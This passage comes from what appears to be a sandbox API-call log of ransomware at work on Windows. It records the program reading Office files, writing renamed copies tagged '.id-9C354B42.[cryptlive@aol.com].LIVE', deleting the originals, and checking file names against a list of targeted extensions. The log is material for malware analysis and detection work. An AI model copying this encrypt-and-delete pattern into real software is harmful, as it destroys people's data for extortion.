lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x440, lpOverlapped=0x0) returned 1 [0159.583] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.583] WriteFile (in: hFile=0x380, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.583] SetEndOfFile (hFile=0x380) returned 1 [0159.583] CloseHandle (hObject=0x380) returned 1 [0159.583] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.583] SetEndOfFile (hFile=0x1dc) returned 1 [0159.586] CloseHandle (hObject=0x1dc) returned 1 [0159.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico")) returned 1 [0159.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.587] lstrlenW (lpString=".doc") returned 4 [0159.587] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.587] lstrlenW (lpString=".docx") returned 5 [0159.587] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.587] lstrlenW (lpString=".pdf") returned 4 [0159.587] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.587] lstrlenW (lpString=".xls") returned 4 [0159.587] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.587] lstrlenW (lpString=".xlsx") returned 5 [0159.587] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.587] lstrlenW (lpString=".ppt") returned 4 [0159.587] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.587] lstrlenW (lpString=".zip") returned 4 [0159.587] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.587] lstrlenW (lpString=".rar") returned 4 [0159.587] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.587] lstrlenW (lpString=".bz2") returned 4 [0159.587] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.587] lstrlenW (lpString=".7z") returned 3 [0159.587] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.587] lstrlenW (lpString=".dbf") returned 4 [0159.587] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.587] lstrlenW (lpString=".1cd") returned 4 [0159.587] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.587] lstrlenW (lpString=".jpg") returned 4 [0159.587] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.588] lstrlenW (lpString=".doc") returned 4 [0159.588] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.588] lstrlenW (lpString=".docx") returned 5 [0159.588] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.588] lstrlenW (lpString=".pdf") returned 4 [0159.588] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.588] lstrlenW (lpString=".xls") returned 4 [0159.588] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.588] lstrlenW (lpString=".xlsx") returned 5 [0159.588] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.588] lstrlenW (lpString=".ppt") returned 4 [0159.588] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.588] lstrlenW (lpString=".zip") returned 4 [0159.588] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.588] lstrlenW (lpString=".rar") returned 4 [0159.588] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.588] lstrlenW (lpString=".bz2") returned 4 [0159.588] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.588] lstrlenW (lpString=".7z") returned 3 [0159.588] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.588] lstrlenW (lpString=".dbf") returned 4 [0159.588] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.588] lstrlenW (lpString=".1cd") returned 4 [0159.588] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0159.588] lstrlenW (lpString=".jpg") returned 4 [0159.588] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.588] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.589] lstrlenW (lpString="SCDCNCLS.ICO") returned 12 [0159.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.048] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2998) returned 1 [0160.048] CloseHandle (hObject=0x1fc) returned 1 [0160.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico")) returned 0x20 [0160.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.507] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.507] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.821] GetLastError () returned 0x0 [0160.821] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0160.823] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0160.824] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.825] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.825] SetEndOfFile (hFile=0x314) returned 1 [0160.825] CloseHandle (hObject=0x314) returned 1 [0160.825] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.825] SetEndOfFile (hFile=0x384) returned 1 [0160.828] CloseHandle (hObject=0x384) returned 1 [0160.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico")) returned 1 [0160.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.852] lstrlenW (lpString=".doc") returned 4 [0160.852] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.852] lstrlenW (lpString=".docx") returned 5 [0160.852] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.852] lstrlenW (lpString=".pdf") returned 4 [0160.852] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.852] lstrlenW (lpString=".xls") returned 4 [0160.852] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.852] lstrlenW (lpString=".xlsx") returned 5 [0160.852] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.852] lstrlenW (lpString=".ppt") returned 4 [0160.852] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.852] lstrlenW (lpString=".zip") returned 4 [0160.852] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.852] lstrlenW (lpString=".rar") returned 4 [0160.852] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.852] lstrlenW (lpString=".bz2") returned 4 [0160.853] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.853] lstrlenW (lpString=".7z") returned 3 [0160.853] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.853] lstrlenW (lpString=".dbf") returned 4 [0160.853] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.853] lstrlenW (lpString=".1cd") returned 4 [0160.853] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.853] lstrlenW (lpString=".jpg") returned 4 [0160.853] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.853] lstrlenW (lpString=".doc") returned 4 [0160.853] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.853] lstrlenW (lpString=".docx") returned 5 [0160.853] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.853] lstrlenW (lpString=".pdf") returned 4 [0160.853] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.853] lstrlenW (lpString=".xls") returned 4 [0160.853] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.853] lstrlenW (lpString=".xlsx") returned 5 [0160.853] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.853] lstrlenW (lpString=".ppt") returned 4 [0160.853] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.853] lstrlenW (lpString=".zip") returned 4 [0160.853] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.853] lstrlenW (lpString=".rar") returned 4 [0160.853] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.853] lstrlenW (lpString=".bz2") returned 4 [0160.853] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.853] lstrlenW (lpString=".7z") returned 3 [0160.854] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.854] lstrlenW (lpString=".dbf") returned 4 [0160.854] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.854] lstrlenW (lpString=".1cd") returned 4 [0160.854] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0160.854] lstrlenW (lpString=".jpg") returned 4 [0160.854] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.854] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0160.854] lstrlenW (lpString="SECREC.CFG") returned 10 [0160.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.866] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=664) returned 1 [0160.867] CloseHandle (hObject=0x314) returned 1 [0160.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg")) returned 0x20 [0160.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.887] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.887] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.887] GetLastError () returned 0x0 [0160.887] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x298, lpOverlapped=0x0) returned 1 [0160.888] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0160.889] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.889] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0160.889] SetEndOfFile (hFile=0x3a0) returned 1 [0160.890] CloseHandle (hObject=0x3a0) returned 1 [0160.890] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.890] SetEndOfFile (hFile=0x3c4) returned 1 [0160.902] CloseHandle (hObject=0x3c4) returned 1 [0160.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg")) returned 1 [0160.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.903] lstrlenW (lpString=".doc") returned 4 [0160.904] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString=".docx") returned 5 [0160.904] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0160.904] lstrlenW (lpString=".pdf") returned 4 [0160.904] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString=".xls") returned 4 [0160.904] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString=".xlsx") returned 5 [0160.904] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0160.904] lstrlenW (lpString=".ppt") returned 4 [0160.904] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.904] lstrlenW (lpString=".zip") returned 4 [0160.904] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString=".rar") returned 4 [0160.904] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString=".bz2") returned 4 [0160.904] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.904] lstrlenW (lpString=".7z") returned 3 [0160.904] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.904] lstrlenW (lpString=".dbf") returned 4 [0160.904] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.904] lstrlenW (lpString=".1cd") returned 4 [0160.904] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.904] lstrlenW (lpString=".jpg") returned 4 [0160.904] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.904] lstrlenW (lpString=".doc") returned 4 [0160.904] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.904] lstrlenW (lpString=".docx") returned 5 [0160.904] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0160.904] lstrlenW (lpString=".pdf") returned 4 [0160.905] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.905] lstrlenW (lpString=".xls") returned 4 [0160.905] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.905] lstrlenW (lpString=".xlsx") returned 5 [0160.905] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0160.905] lstrlenW (lpString=".ppt") returned 4 [0160.905] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.905] lstrlenW (lpString=".zip") returned 4 [0160.905] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.905] lstrlenW (lpString=".rar") returned 4 [0160.905] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.905] lstrlenW (lpString=".bz2") returned 4 [0160.905] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.905] lstrlenW (lpString=".7z") returned 3 [0160.905] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.905] lstrlenW (lpString=".dbf") returned 4 [0160.905] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.905] lstrlenW (lpString=".1cd") returned 4 [0160.905] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0160.905] lstrlenW (lpString=".jpg") returned 4 [0160.905] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.905] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0160.905] lstrlenW (lpString="SECURE.CFG") returned 10 [0160.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.906] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=647) returned 1 [0160.906] CloseHandle (hObject=0x3c4) returned 1 [0160.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg")) returned 0x20 [0160.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.907] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.907] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.908] GetLastError () returned 0x0 [0160.908] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x287, lpOverlapped=0x0) returned 1 [0160.910] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x290, lpOverlapped=0x0) returned 1 [0160.911] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.911] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, 